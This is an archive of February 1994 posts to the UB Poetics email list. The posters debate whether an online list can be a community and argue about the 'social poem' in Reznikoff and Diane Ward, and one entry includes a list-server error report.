Ben, I'm a little curious about "rudy's marginalia."Is this an observation on "the order of things"? Or is it because I have no sense of what the "Kelly connection" constitutes? -- Loss From: IN%"[redacted]" "UB Poetics discussion group" 12-FEB-1 994 12:42:36.25

↑ Index

21. Loss Glazier
"*Community*"
Sat 12 Feb 1994

The idea of a listserv as constituting "community" poses problems. First, in that a listserv is "virtual," i.e., we are not really "there." In this regard, a community is almost always defined by location. Secondly, most definitions of community imply a sense of commitment--to take this further, I would say entrapment, ie, if you think of a Blue Ridge mountain community, most people don't have the mobility or means to move. "There" is fixed; its participants are fixed--for better or worse. An electronic list implies no commitment whatsoever: any person can unplug at any time; the largest percentage of any list does not participate but stands in the shadows examining the record of the conversation. To say that we

have in common taking each writer's writing seriously is a kind thought. I hope it's true--but is no ground to call this endeavor a "community." (Your name, the name of the sender of the second "community" message, is even unknown / undecipherable.) The idea of an electronic democracy is probably the least tenable of these ideas, just about as true as an other so-called "democracy" ie, a place where people who have power are equal does not argue for equality for all people. So, what then, would we call this? From: IN%"[redacted]" "UB Poetics discussion group" 12-FEB-1 994 12:42:37.80

↑ Index

22. Benjamin Friedlander

r's m

Sat 12 Feb 1994

---

loss, no connection that i can cite, no order of things save the disorder of bookshelves in an office. rodolphe's marginalia is no more existent a project than the tain of melville, just a happy joke on all of us who thought gasche didn't care for poetry. maybe he doesn't, maybe he does. i found it funny in any case to find robert kelly there, in *that* office-- the *only* poet whose work i happened to see. read or unread i can't say. but from a superficial glance (honestly, i wasn't snooping--one of the comp lit grad students, stephen gingerich, is using that office this year while gasche's on leave; steve & I had a brief conversation about what was & wasn't on the shelf), the only books that *really* looked read, dog-eared in other words, were the sci fi novels--not just heinlein but zelazny too. of course, i know he reads zelazny because there's a quote from z at the head of one of g's essays in *glyph* (maybe the *moby-dick* essay!). presumably, however, gasche's library at home is where the marginalia's scribbled, the intimate secrets of reading which susan howe is drawn to in melville. & seriously, i meant it all as a joke--a good-natured one. the waldrop sighting too. ben From: IN%"[redacted]" "UB Poetics discussion group" 12-FEB-1 994 13:14:31.73

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23. Steve Evans

The Social Poem: for the record

Sat 12 Feb 1994

The recent exchange of posts on Diane Ward's *Imaginary Movie* and on the social poem has added a valuable dimension to my thinking this past week, so let me first register the gratitude I feel towards those who have part- icipated. As the topic evolves, it appears that a hasty response I wrote privately to Patrick on 1 Feb. has come to produce a few effects--through its cited and

implied presence at certain stages of his sustained posting to the list on 2 Feb.--within the ensuing discussion. I had hoped to avoid entering this space on what could be construed as a sour note, since my initial response to *IM* was not a positive one, but I think now that it would be better to trust that P's indefatigable, meticulous, and generous (though I must add, also terminologically baffling) practice of "sounding" Ward's work will more than compensate for whatever criticisms I first thought to advance.

The following two paragraphs, then, are "for the record." I have omitted one unsympathetic comment that concerned the presentation of the work by Potes & Poets Press, otherwise I have avoided the impulse to amend or elaborate these comments. Because I do, however and alas, have more to say, I will tax everyone's patience with a second posting that will follow on the heels of this one.

ORIGINAL NOTE:

Dear Patrick (please note the ungodly hour at which I composing this [it was two in the morning]):

Just a quick note to see if I can draw you out on the title poem of the book you will be discussing on Wednesday. I read the poem this evening, aloud, and gave some thought to it. But I must admit, it felt more like anemic cin- ema than imaginary movie. Jen tells me that this book, and specifically this poem, has been an important one for you, and I trust that this means I am missing something. Technically, the repeated six-line stanzars struck me as only erratically interesting as a unit of composition: the stakes are low, mistakes are hard to discern (can they be made?). Less sonically engaging than, say, some of the work in couplets in *Relation.* A certain, quite familiar, indistinction at the level of lexicon: I'll trade the whole gamut of pronouns (the deployment of which strikes me as tired even in Ashbery) for a few committing descriptives (but then I like Reznikoff and O'Hara because I like the social as a field of intervention). Though I can anticipate certain points of contact with a theoretical apparatus (most obviously, of course, feminist film theory circa Mulvey), which, patiently articulated, would "fill out" the poem, I am concerned for both the poem's and the theory's autonomy: there is a trace of what Barthes called "the blackmail of theory" (i.e. here's an aesthetic object such as your theory predicts for) here.

Which is not to put you, or the poem for that matter, on the defensive. I'm just ticking down a list of resistances that are more likely to originate in my hasty and perhaps insufficiently attentive reading than in the text. What I could use is some "testimony" regarding the coordinates you've found to provide a thicker and more moving engagement with the poem. Estrin's public/ private remark doesn't help me so far: much too sweeping and indiscriminate to provide

guidance (what isn't appropriable under this rubric?). Ditto the concept of *politics* (and for the same reason). [following this, some pleasantries in the original have been omitted]

But enough, I do hope you're well, and that my remarks will not seem to require undue cognitive regression on your part in order to answer them. /S.

END ORIGINAL NOTE
From: IN%"[redacted]" "UB Poetics discussion group" 12-FEB-1
994 13:17:52.74

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24. Steve Evans
The Social Poem
Sat 12 Feb 1994

I want to follow up on my posting "for the record" with a few thoughts that are perhaps a little more substantial. In light of the postings by Juliana, Ben, Kenneth, and Patrick himself, it would appear that the salient moment in my private reply to Patrick is the somewhat flippant graph of my own value-constellation represented by the claim that "I would trade the whole gamut of pronouns...for a few committing descriptives (but then I like Reznikoff and O'Hara because I like the social as a field of intervention)." Upon consideration, I think this largely gestural move on my part introduces some untenable polarizations (Ward vs. Reznikoff & O'Hara; lexical indeterminacy vs. social commitment). In brief, I throw down a gauntlet that I feel fairly certain non of us on this list would consent to run. But if there is something redeemable in this remark, it might be in the connection (albeit so enjambed as to be indiscernible) between "value" and the "social."

My thinking in this area owes a debt to Bakhtin/Medvedev's *The Formal Method in Literary Scholarship,* and especially to the discussion of "social evalu- ation" that is found on pages 119-28. I will excerpt just three claims made in this book. First, and mainly as a corrective to personalizing the theme of value, I would recall their statement that "the notion that evaluation is an individual act is widespread in contemporary '_Lebensphilosophy_,' and leads to conclusions no less false. Evaluation is social; it organizes inter- course" (126). The second claim is perhaps more specifically relevant to our discussion. M/B argue that "social evaluation is needed to turn a grammatical possibility into a concrete fact of speech reality" (123), basing this on their premise that "the utterance is not a physical body and not a physical process" [something some of us might wish to contest, certainly], but rather "a historical event, albeit an infinitesimal one. Its individuality is that of a historical achievement in a definite epoch under definite social conditions" (121). Finally, because it serves

to indicate their more general take on "value" and its relation to "formal" decisions, there are the following sent- ences: "Social evaluation organizes how we see and conceptualize the event being communicated, for we only see and conceptualize what interests or affects us [or as Stein says: It is very likely that nearly everyone has been very nearly certain that something that is interesting is interesting them]. Social evaluation also organizes the forms by which the event is communicated: the arrangement of the material into digressions, returns, repetitions, etc., is permeated with the single logic of social evaluations" (127).

M/B conceive of "social value" as the medium that pervades, supports, and constrains the generation of specific meanings from the field of linguistic (or grammatical) possibilities. It is their answer to the question of why such a limited number of linguistic combinations result in the production of "sense" (and thus to the opposition of narrow vs. broad band that Pat termed "reading" v. "sounding"). Zukofksy had, I think, something similar going on when he wrote: "_Impossible_ to communicate anything but particulars-- historic and contemporary--things, human beings as things their instrument- alities of capillaries and veins binding up and bound up with events and The revolutionary word if it must revolve cannot escape having a reference. It is not infinite. Even the infinite is a term" ("An Objective" in *Prepositions* 16).

My answer to Ben's question of "what is the social poem" would then be: that poetic practice which proceeds by "particulars" as they circulate in the social medium of value. There are other media, other practices, other ways of fashioning the particular. There are words that wobble out of orbit and *do* escape having a reference (or at least first order reference, though they are usually recuperated at the level of the social through categories like "nonsense," "difficult writing," "writing elites do and I don't under stand," etc.). To pick up on Juliana's list of people thinking about this question, I think Bruce Andrews calls this "horizoning" in his *Politics of Poetic Form* essay (Roof 1990). In short, I recognize the "unframed field of approximate signs" (as Patrick so memorably puts it) as a possibility of writing, but as a possibility that the "social poem" as I understand it re- fuses to convert into an end in itself.

I would attribute Patrick's provocative unwillingness to distinguish betw. *Testimony* and *Rescue 911* to an unwillingness to conceptualize social value (though as Peter Gizzi pointed out to me, the word "rescue" does resonate in Reznikoff's project, though more in a Benjaminian direction of "redemptive critique" than in the frame of network television, which is directly where my students took it also when I taught Rez's book last sem- ester). So many decisive levels of mediation are manhandled in this ana- logy that I doubt Patrick would "upon reflection" stand by it. Likewise,

though, the concept of "reflection" as he uses it fails to distinguish between the hyper-presentation of a presence (i.e. contemporary barbarism ala Cops & Rescue 911) and Reznikoff's preserving of an absent present through testimony (i.e. a project oriented to the redemption of historic and contemporary suffering, always *particular* in Zuk's sense). The eerie affectlessness of much of *Testimony* couldn't be further from the adrenaline-soaked stimulations of exploitation t.v. Nor is the "exhortation" dogmatic; it is ethical in any meaningful sense of that term.

I apologize for the length of this posting, which exceeds by several screens my own e-mail attention span (unless I download, print out, and thereby re-establish the space of reading as I've previously known it...). It's just that these topics are central to my own thinking, and to the values that direct that thinking: poetry and social emancipation.

From under a lot of snow..., and noticing that everyone's posting today....

Steve
From: IN%"[redacted]" "UB Poetics discussion group" 12-FEB-1
994 14:46:08.00

↑ Index

25. Loss Glazier
RE: r's m
Sat 12 Feb 1994

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ben, i guess actually understtod t'was in jest, though something that intrigues me is the relation of science fiction to all this and especially that science fiction, which once held as its location outer space, has now penetrated the "inner reaches," ie the field of computers. To discover it as the marginalia of those bookshelves is interesting, methings. loss From: IN%"[redacted]" "UB Poetics discussion group" 12-FEB-1 994 14:05:29.15

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26. Joe Amato
RE: "Community"
Sat 12 Feb 1994

Loss, I've just gotta jump in here with some friendly amendments to your last one...

Note Howard Rheingold's recent book on virtual community, worth taking a look at... Howard had sent me an earlier essay (over the nets) in which he'd argued, in effect, pretty much the same thing: to paraphrase (and too hastily)

that these "places" are altering what "community" is and can be, and that they most assuredly will not be w/o their problems...

I'd argue that lists and the like begin to take on a more stable sense of "community" (whatever we mean by same) once folks find ways to complement same by meeting in the flesh---conferences, gatherings, snmail, what have you... Surely some of you folks at Buffalo see one another ftf, hence the list works somewhat differently for you than for many of us outside your geographical environs...

In any case, I would argue against simply conceding that older notions of "community" must dominate these regions (and some of this slippage can be pursued alphabetically), even as I would concur that we would do well, as you suggest, to continue to challenge the (communal?) basis of these our 'exchanges'...

Joe
From: IN%"[redacted]" "UB Poetics discussion group" 12-FEB-1
994 13:26:28.57

↑ Index

27. Kenneth Sherwood
RE: "Community"
Sat 12 Feb 1994

Since Loss and I have actually *spoken* of this notion "community", I feel compelled here to insert some form of response. But first, must we assume that the quality of this "compulsion" reflects Loss's geographic proximity: just outside of shouting distance?

That the idea of electronic communities poses problems, I will not dispute, yet I cannot abide the implied distinction between "virtual" and "real" as pivoting at "committment".

While we are not compelled to any poetics@ubvm committment, many here writing have demonstrated a significant concentration of effort to address fellow participants, an *integrity* of engagement which, in fact, may exceed that displayed in the communities cited as authentic.

I will want to STEP HEAVILY on fact of this "community" and membership/participation/spectatorship as specifically NOT grounded in entrapment. The unmotivated, intense character of exchanges here indeed distinguishes it as a poetic community.

I think it's mistaken to ground "community" merely in shared circumstances of geography, since the 'situations' of this list's members has and continues to propose relationships of an equal or stronger INVESTMENT.

(ps: Loss, the sender of the second community message was Katie Yates)

...dee dee,
dee dum...
... it's a small world
after all....

Kenneth Sherwood |"Fragments are
[redacted] | our wholes"
RIF/T (e-poetry@ubvm) |--Clark Coolidge

From: IN%"[redacted]" "UB Poetics discussion group" 12-FEB-1
994 14:08:02.92

↑ Index

28. Pierre Joris
RE: "Community"
Sat 12 Feb 1994

Maybe the internet community -- & I do think there can be/ maybe even is/ such a thing is the kind of community Blanchot speaks of,via, thru & around Bataille, when he suggests the possibility of a "community of those who have no community."

========== Pierre Joris| Je ne connais pas d'autre grace que celle Dept. of English |d'etre ne. (I know no other grace than the SUNY Albany |grace of having been born) Albany NY 12222 |
tel&fax:[redacted]| Isidore Ducasse aka Comte de Lautreamont
========== From: IN%"[redacted]" "UB Poetics discussion group" 12-FEB-1 994 16:32:51.57

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29. Loss Glazier
RE: "Community"
Sat 12 Feb 1994

First, Ken's objection, I cannot abide the implied distinction between "virtual" and "real" as pivoting at "commitment" requires brief clarification, that is that this distinction does not pivot on "commitment," but pivots on phsyical proximity, "entrapment," as I penned it, also to the objection: I will want to STEP HEAVILY on fact of this "community" and membership/participation/spectatorship as specifically NOT grounded in entrapment. But in this objection, perhaps is a key. I think of membership, participation, and spectatorship as all being very relevant terms to describe what we here engage in. That is, membership, as if a club (again contrasted to the idea of democracy)--also invoking exclusivity, participation--a kind of virtual intramurals, (doesn't that mean "outside the walls"?), and spectatorship (somehow, Christians being fed to lions come to mind, especially with the theme of redemption that was floating here some time back, though perhaps it would be more benign to think again in terms of intramural sports.) (Perhaps a relevant metaphor, except we might not be "coached"--but think in terms of doing outside class time, of doing it voluntarily, of its being a forum to sharpen our technical/theoretical skills). I understand that my choice of word, entrapment, is somewhat adversarial, yet the point is not needless controversy but a resistance to the LULL of romanticized notions of communality. (That is, common effort, common ends, shared means. Not unrelevant thinking perhaps of communes in the Sixties and whether or not these generated new social forms. Contrasting Sixties communes perhaps, with underground newspapers--which invoked no sense of community but of statement, that is, words, generated with somewhat common goals but always typified by divergent approaches to said goals.) How can geography be so important? We are physical beings, not virtual ones. I think of Joe's statement, that lists are made more real once folks find ways to complement same by meeting in the flesh--conferences, gatherings, snmail... and think that this is not untrue, in fact desirable, but casual (vs. causal); take for instance how well people get along with their siblings when they no longer live at home. Communities also involve a degree of isolation, as a group. Think of prairie communities in the old west, or think of Jonestown, Waco, the Manson family. (Of course these are "religious," again an invocation to redemption and the Word.) Regarding Pierre's suggestion, Maybe the internet community -- & I do think there can be/ maybe even is/ such a thing is the kind of community Blanchot speaks of,via, thru & around Bataille, when he suggests the possibility of a "community of those who have no community." I might suggest the *impossible* nature of such, that is: (1) if you can only be a member of a community once you have no

community, then (2) you have a community so then (3) you are therefore no longer without community then (4) you are thus exiled from the community of which you have just become a member. Obviously, Ken's and my efforts in RIF/T focus at a common place in voice or literary idea. Perhaps there is a difference with a list--so I will not blur the discussion by referring to the electronic journal. And obviously (perhaps Blanchot's statement refers more to) the *yearning* for community--which may possibly never be attained. This discussion may all hinge on a definition of community. And we may choose to define it to suit our criteria. Even so, what makes this different than an intramural sport? It's not the "integrity of engagement" because that exists in other venues which would in no way aspire to community status. What makes us aspire to regard ourselves as community? Ken, you suggest that The unmotivated, intense character of exchanges here indeed distinguishes it as a poetic community. and yet this takes place in political debates, in Sproul Plaza at UC Berkeley, (and what's that corner of is it--Hyde Park?--in London) and there's no aspiration to community. I only pose this because I'd like to get a finger on it. "Poetic community" eludes me. Was this list a community when it was rather inactive? What if everyone unubscribes tomorrow? Though I too would like the comfort of being part of a better whole, I don't exactly see the point where these aspirations converge...or if they ever can converge.

From: IN%"[redacted]" "UB Poetics discussion group" 12-FEB-1 994 21:23:38.60

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30. Benjamin Friedlander

the social poem

Sat 12 Feb 1994

Steve, I have what I suppose must be an antinomian streak that forces me, often against my will, to take issue with positions that in fact attract me a great deal. Something of the sort occurs now, reading your eminently useful contribution to the discussion of the social poem. Take issue with is too strong--to question, and so, perhaps, modify.

What you say about value seems both right and necessary. The implications with regard to our discussion are significant. That evaluation is a social form, an activity whose meaning and whose value, constituting an "historical event," is *objective* (in a sense that clarifies what Zukofsky and Reznikoff had in common as "objectivists," i.e., more than some sentimental attachment to Pound's dictum "direct treatment of the thing"), that the subjective is therefore no less "objective" than those forms of evaluation which *call* themselves objective (i.e., that subjectivity no less than objectivity has a social content and a political form), that the individual is derived from the social and not the other

way around--these are all helpful correctives to the "untenable polarizations" (as you put it) that at every turn threaten to undermine discussions of poetry, to turn discussion into an argument between schools. Not that there aren't differences between Ward and Reznikoff--of course there are--but that the differences we have been attempting to identify as essential *between* their projects occur first of all *within* them.

To take one example: if "social value" is "the medium that pervades, supports, and constrains the generation of specific meanings from the field of linguistic (or grammatical) possibilities," then the "social value" of Reznikoff's *Testimony* will be most directly evident in those places where his actions are ostensibly *individual*--his choices, his juxtapositions, the ways he alters the original material. The "social value" of the material itself, which we might naively assume to be an unmediated glimpse at the United States, is in fact measurable only by way of a regression to the archimedean point of individuality where the social first allows itself to be glimpsed. To take the social content of the poem as an *un*mediated view of the social field out of which the poem is lifted would be to forget that the social *is* mediation. (And in this forgetting the "eerie affectlessness of much of *Testimony*" begins to be felt.) The poem thus flips the relation we might expect to find between the social and the individual: "outside" the poem, the individual is a construct of the social; "inside," the social is a construct of the individual. This is not to insist, however, on a dichotomy between inside and outside--or rather, it's to insist that the dichotomy occurs equally on both sides of the mythical boundary that the dichotomy is said to put into effect. NOT that *Imaginary Movie* works from within while *Testimony* works from without, but that in each work a dynamic is established between inner and outer, subjective and objective, social and personal. The singularity of the poem rests precisely here, in the character of the dynamic that governs the poem's meaning.

Or if I might say that again, a little more simply, the distinction between individual and social *has* to occur *within* the poem, in order for the poem to be intelligible according to *either* category. That, in any case, is the logic of Bakhtin/Medvedev's formula, which conceives of individuality as an historical achievement, a social form.

And it's in light of this analysis that I feel drawn to question your definition of the social poem. Much as I share the values that your definition privileges--"poetic practice which proceeds by `particulars' as they circulate in the social medium of value"--I wonder that the emphasis on "particulars" doesn't attempt to establish yet another dichotomy between poems that only makes sense within them, here between the particular and the general. You refer, of course, to "other media, other practices, other ways of fashioning the particular" (but since these would have to be circulations in a "medium of

value" other than the social, I wonder what they can be), and you refer also to poetic practices "that wobble out of orbit and *do* escape having a reference" (and you qualify this, but again I wonder what sort of work you are referring to--and I wonder also at the equation of particularity with reference). Nevertheless, I think the upholding of particularity as opposed to generality--or to be more accurate, a *proceeding* by particularity instead of generality--only makes sense if "as opposed to" is understood as occurring *IN* the poem. And if that's the case, then the generality is as essential as the particularity. And isn't that in fact the case in *every* poem? For surely there are no purely particularist or purely generalizing poetries...

This isn't simply a matter of logics and abstract argumentation. *Something* occurs in Reznikoff that seems to both of us illuminating about poetry in general and the social poem in particular. For both of us, the specificity of Reznikoff's content and the redemptive quality of his formal appropriations of that content are not only striking but exemplary. I would want to say, however, that too great an emphasis on the historical moment *Testimony* enshrines and on the apparent lack of mediation in the poem's presentation of this moment blinds us to the insistent leveling of particularity that also occurs, and the shrewd, often polemical presence of the author in the ways this leveling is interrupted. It's interesting that my students last week noted first of all--somewhat complainingly-- the repetitiousness of the book, the endless permutations of violence and neglect was "predictable," they said. We spent a lot of time talking about courts and law and what testimony is in *that* context, and after a while they grasped that not all testimony is true. They began to notice, also, Reznikoff's sarcasm, and the fact that not all meets the eye in these stories. Of course this only annoys them further since if there's anything they hate more than the depressing it's the subtle--*Testimony* being both. All of which is to say that the particularity has meaning above all because of the clarity with which Reznikoff organizes it conceptually.

I could say more about *Testimony* in this regard, but the message is long enough. A quote then from Charles Bernstein's *Sulfur* essay:

I've been told that Reznikoff disliked obscurity and
would certainly not have wanted his work to be
characterized as obscure. Yet Reznikoff, from the
beginning, seemed to expect that obscurity was the
likely outcome for his poetic work and seemed to accept
that with remarkable equanimity. Perhaps he understood
the nature, the social structure, of obscurity better
than his contemporaries. Neglect, disregard--the
socially obscure, the forgotten and repressed, the
overlooked--this was his subject.

Hiding in plain sight you may never be found: if sight is not to "See by but to look at," not to use but behold.

I like that.

Ben F.
From: IN%"[redacted]" "UB Poetics discussion group" 12-FEB-1 994 22:48:46.03

↑ Index

31. Benjamin Friedlander
marginalia
Sat 12 Feb 1994

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loss, it finally sunk in. i hadn't quite grasped the double meaning of marginalia, illustrated rather nicely by the shelves in gasche's office: myself meant the comments scribbled in the margins of a book (sheltered at home), you meant the marginal items in the library (consigned to the office). ah, why am i so slow? (as pere ubu once sang...) ben From: IN%"[redacted]" "UB Poetics discussion group" 13-FEB-1 994 02:51:27.34

↑ Index

32. Mn Ctr for Book Arts
RE: "Community"
Sun 13 Feb 1994

Loss, I would agree that a list-serve, or any other kind of group connected by its own whim to sit at a terminnal as well as the current technology (which is never current) is not a "community" in the sense of a Blue Ridge Mountain or north Central Wisconsin Amish or many other non-mobile communities, I wonder why you think that the definittion of "community" should not grow to encompass current groupings. I'm not against calling it something else, but I also don't really see the need for a new coinage & am sometimes distrustful of such.
From: IN%"[redacted]" "UB Poetics discussion group" 13-FEB-1 994 10:13:33.24

↑ Index

33. Jed
RE: "Community"
Sun 13 Feb 1994

Does "community" involve companionship? Or may it simply consist of collective anonymity? In the strictly civic sense of vernacular usage, community means little more than the aggregate of people and activities that bring them momenta

rily together in public spaces--little league ball, traffic snarls, school board bonds--which amounts to a collective display of the heaping potential. A primary reason why the net increasingly seems a site for community--or at least why most discussions on the net erupt into these speculations about community-- is because it enacts *both* the aleatory potential of the casual encounter and the motivational tensegrity of contact: "Contact," as I recall, was the little mag that William Carlos Williams edited, was't it? --Jed Rasula From: IN%"[redacted]" "UB Poetics discussion group" 13-FEB-1 994 21:53:00.55

↑ Index

34. Charles Bernstein
Martin Spinelli's reply framed in Error
Sun 13 Feb 1994

—

↑ Index

35.
(no subject)

T42,24T:me4u,u4me), with LSMFT; 38:22:81:54487^%4#*(|":><~%

Date: Sun, 13 Feb 1994 17:59:33 -0500
From: BITNET list server at UBVM <[redacted]> (1.8a)
Subject: POETICS: error report from UBVMS

The enclosed mail file, found in the POETICS reader and shown under the spoolid 8043 in the console log, has been identified as a possible delivery error notice for the following reason: "Sender:", "From:" or "Reply-To:" field pointing to the list has been found in mail body.

Date: Sun, 13 Feb 1994 17:58:38 -0500 (EST)
From: [redacted]
Subject: Re: "Community"
To: [redacted]

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Loss,

To take Ken's objection one step further:
I can't abide by the distinction between the "virtual" and
the "real" at all.

"Being there" has never been a criterion for the real.
Snmail, telephone conversations, chance meetings in the
stairwell at Lockwood are certainly not virtual experiences.

They all have, in some form or another a "real" material
presence -- Yes, they are not transparent like anything dependent on the
casual agreements of language, they are mediated, but they
are no less real.

We are all *really* here with our
real eyes reading from our *real* monitors at our *real*
keyboards banging away at the keys (perhaps with, as Katie
suggests, intensity, sensitivity, and seriousness).
Whether this is
 "munity"
   COM mitment
  munication

doesn't really hold my interest. What I am trying to get
at, what I tried to suggest in my first post, was that the
unreflexive use of the word "virtual" ("not quite as good
as", pejorative less or unequal, or even suggesting
the existence of an "Originary") to describe what we're
doing has some *real* dangers.

"Virtual" carries with it the kind of implicit indictment
that resonates in the voices of our "being-there" mates and
companions:
   "How much time can you spend doing 'that'?"
   "You're not done with the phone yet?!?"

Quotes""""" are always cold
and only make me more hungry

--martin
>>>

mailed him both to get back in touch after a few years & to continue the exchange on community. Pierre answered, Tom too & they culled from the private e-mail what they thought could be usefully shared with the net community on the subject of community.

"Community! -- Well, the first para of your e-mail shld/cld have been posted to the POETICS List, while the 2nd was clearly to me & so you e-mailed the whole to me. Which makes for at least 2 community tiers on the net: those who don't know each other otherwise than through the discussion threads, & those who have known each other face to face. Or at least some such division exists to begin with, thoug it may alter. In that sense the net-community is again like many other communities, composed of different intensities,different vectors. All this seems rather banal... Mut maybe we should post the non-personalized parts of these 2 email messages to the POETICS list? Or speak there to this tiered affair?"

"... a community also of those not known to each other, of the unknown; and, it is interesting to watch a range of behaviors develop among people unbounded by outcomes of close living. On the one hand a kind of intimacy and relaxation, on the other... frivolousness? would that be the right word? At the very place in an expression where it most ought to matter what one is saying, there seems to rise a "not-mattering" often, so often, rendering discourse subtractive rather than additive. Perhaps "the gift" is after all basic to communities and not present in this one. It's hard to take anything away from these postings, a thing useful I mean."

"But perhaps we should go ahead, and include my remarks in this paragraph and just the (kind of obvious) further remark that "community" with its "commonality" and its "unity" in it only *has to* mean people unified by something they have in common, and in common are usually both social thematics and a dwelling place. These two are usually also two sides of the same coin (i.e. a town spread around a church). In the case of the net, the two are moved apart: the medium of communication is not the reason we are in communication.

Most communities also involve a kind of discipline as to the outcomes of anyone's contributions. It matters in immediate ways what you say in a real-world community, because of the multiple intersecting relations one has with everybody. If you argue with the butcher in church, you may not get the best cut of meat across the next-time counter, right? And more serious versions of this. The net community, with its abstraction of the context/contact layer, makes for a simpler and more unidimensinal community, and also means that there's less at stake in what anyone says; this leads to a sense of experimentalism wch is great, and it also leads to pushing "d" for delete very

very often, and that takes care of that. Again, without much consequence. Perhaps, the net is more like Goethe's term: elective affinities. A version of acquaintanceship and even (argh) professionalism. Is the poetics forum more like a convention than a community. That's it! It's a virtual convention!"

========== Pierre Joris| Je ne connais pas d'autre grace que celle Dept. of English |d'etre ne. (I know no other grace than the SUNY Albany |grace of having been born) Albany NY 12222 | tel&fax:[redacted]| Isidore Ducasse aka Comte de Lautreamont
========== From: IN%"[redacted]" "UB Poetics discussion group" 13-FEB-1 994 23:23:16.91

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37. Patrick Phillips
The Wobbly Social Poem
Sun 13 Feb 1994

I continue this personal/community fold (develped further by Steve's unmasking of the "unnamed interlocutor") with yet another public/private posting. This is an excerpt of one I sent to Ben in response to his "re: "911" on Feb 10.

Ben

I'm *becoming* interested in the difference between the two examinations and not so much interested in the *equivalence* (A safeguard indeed, but it would be a poor one under any thoughtful look-see!) My surface casting, the superficiality, is due to my beginning, that I ain't done much thinking about the Rez/Ward issue as I've set it up. You bring up a *vital* situation in talking of intelligence, I prefer reconnaissance. When it comes to reference under this kind of mission, I need some brooding -- not so much what kind of thoughts I spy, but what ideas hatch. I'll sit on this one a coupla days, 'll have another look at Charles's piece and we'll see what comes up....

Snowing like a dandruff commercial --

Pat

The exposure of a personal/public here speaks on at least a coupla fronts. One is as a formal gesture toward "the other" conversation on "community." Another, and the one I'll attend directly to, is a notion of frame, or field. My desire, as Steve suggests, not to "conceptualize a notion of social value" is so bound in my appreciation of unframed field of aproximate signs that some people may see this as a destablization of particulars. That this destabilization could in turn lead to the demise of a critique, even my own sense (or lack

thereof) of contiguity, and could thereby promote an ugly conjunction of "911" and *Testimony*. In the terms of the political question arises: How can a critical theory lack a *particular* ideological framework and is it this a lack of particularity that conjoins such things? Although the first part of the question is somehow more interesting it is the second part that I think has more relevance in terms of the "social poem." (For some reason this idea, the "social poem," seems anemic, like generic drug; something's hiding in there.)

On the surface of things, like words, I "wobble out of orbit," often as a matter of course. In my wobble the terms of argument become indiscrete; however, this is not to say that this wobbling undermines my reference, nor does this wobble undermine a word's reference. Here lies the kicker. At what point does this wobble become an element of theory distracted from the social discourse (a point brought up in Steve's initial personal, now public post)? And at what point is this wobble a "social evaluation." My wobble is social, not theoretical. Its point of arrival is quite close to its point of departure. It would appear that this is an important point, one that in my book is an edge of confluence which resists conceptualization, but one which is constantly demanding it.

Here's one of the reasons I included that "private" post. What I've just begun to try to uncover are the similarities in the expedient forms in *Imaginary Movie* and *Testimony*. What are the motives, how are texts, words motivated inspite and because of their wobble. *Testimony* veils a culture just out of reach both temporally (the turn of the century) and, spatially through the constantly mis-placed modifier ("The *United* States"). This veil positions the reader, creates a point of reference from which judgements are made and then, through "subsequent" portraits, those judgements are stressed in to a re-making. The coordinate structure of *Testimony* forces a de-limitation of reference points while never relieving the reader of a concise condition. This reinforced delimitation is in itself often a ethical and moral co-ordinate structure which in many ways could be likened to a "structure" of *Imaginary Movie*. However, the temporal shift that the reader must engage in is a relentless positioning. This situation, though the terms of its economic and social critique are current, becomes fused with the nostalgic. In other words, because of "its" reflective composition *Testimony* is a compromised dis-position. Just how *Testimony* resists falling apart in the echo of its own distance, or just how in its portrait is not of his grandfather, or of our grandparents, but stays here, now, is a matter of technique, economics and morality. It is also a matter of its instability. In that instability its reference is clear.

For Reznikof, the wobble is stated in action, the unsaid, a testament of the given in the *form* of our activity. That for Ward this unsaid is in the abridgement of meaning, doesn't alter this engagement so much as it alters the textual form it takes. What is stated in both texts differs dramatically from what

is experienced in each text. The linguistic wobble in Ward is radically different from the conceptual wobble evident in Rez., but its object remains the same, its reference is clear. If we are to rely upon the term, or the area of definition as the condition of the "revolutionary word," a concept which for me remains highly suspect, we still have to engage those areas of ideology and the social which defy boundary in order to discover the term.

This doesn't answer anything, but continues to set up a range of problems for further rumination

Thanks Steve for the word "wobble." I kinda caught it for a ride here.

Pat
From: IN%"[redacted]" "UB Poetics discussion group" 14-FEB-1
994 10:27:54.52

↑ Index

38. Katie Yates
RE: Martin Spinelli's reply framed in Error
Mon 14 Feb 1994

This is from "Tristan and Isolde" from the third section "The Community of Lovers" of Joris' translation of Blanchot's "The Unavowable Community" in which Blanchot is responding to a recit, "La Maladie de La Mort" written by Marguerite Duras (1982):

> No, end, then, to a recit that also says in its
> own way: no more recit, and yet an end, perhaps
> a remission, perhaps a final condemnation. For
> it so happens that one day the young woman is no
> longer there. A disappearance that cannot surprise
> as it is but the exhaustion of an appearance that
> gave itself only in sleep. She is no longer there,
> but so discreetly, so absolutely, that her absence
> suppresses her absence, so that to look for her is
> pointless, just as it would be impossible to rec-
> ognize her and join her, be it only in thought that
> she has existed only through the imagination, cannot
> interrupt the solitude where the testamentary word
> is murmured endlessly: the malady of death. And
> here are the last words (are they the last?):
> "Soon you give up, don't look for her anymore,
> either in the town or at night or in the daytime:
> Even so you have managed to live that love in the

only way possible for you. Losing it before it
happened."

Martin,
This is my way of dealing further with your concerns surrounding
qua real
qua virtual
How?

1. To go back into Blanchot and find some more inferences, illustrations of untransmittable transmissions, unintentional community, ...

2. I happily find the ci-dessus & want to think (or is this talking) about what is happening (a transmission via Lyotard's The Differend in the virtual or real relationships between Duras, Blanchot & Joris.

3. For example, we are reading Joris' translation of Blanchot's reading of Duras -ok- who are we reading? I ask this within the confines of formal discourse: Literary Criticism or Literary Theory because they are priviliged in this electronic {poetics} dialogue which does not necessarily need to abide by the same strictures. Yet, for the most part it does. This is an example then of how limited we are in our range of how to talk about writing or write about talking (replace "write" or "talk" in the above clause with "read"). It may be interesting to figure out to what extent writing on email is talking and to what extent it is writing...attention-wise...

4. My reading of the above from The Unavowable Community is:
+Real concern is rare & in the stairwell it is also rare
& on stage (in relationship, in conference...)
no surprise.

So the effect of commitment in one's reply
is notable in the absence of that integrity

5. The illusions of presence are magnified in electronic media but the magnification intensifies the speed with which we can reply(retort) as well as the frame within which we can respond. It is more possible then ....

"Losing it before it happened."
From: IN%"[redacted]" "UB Poetics discussion group" 14-FEB-1
994 13:18:21.86

↑ Index

39. Tom Mandel

RE: Martin Spinelli's reply framed in Error

Mon 14 Feb 1994

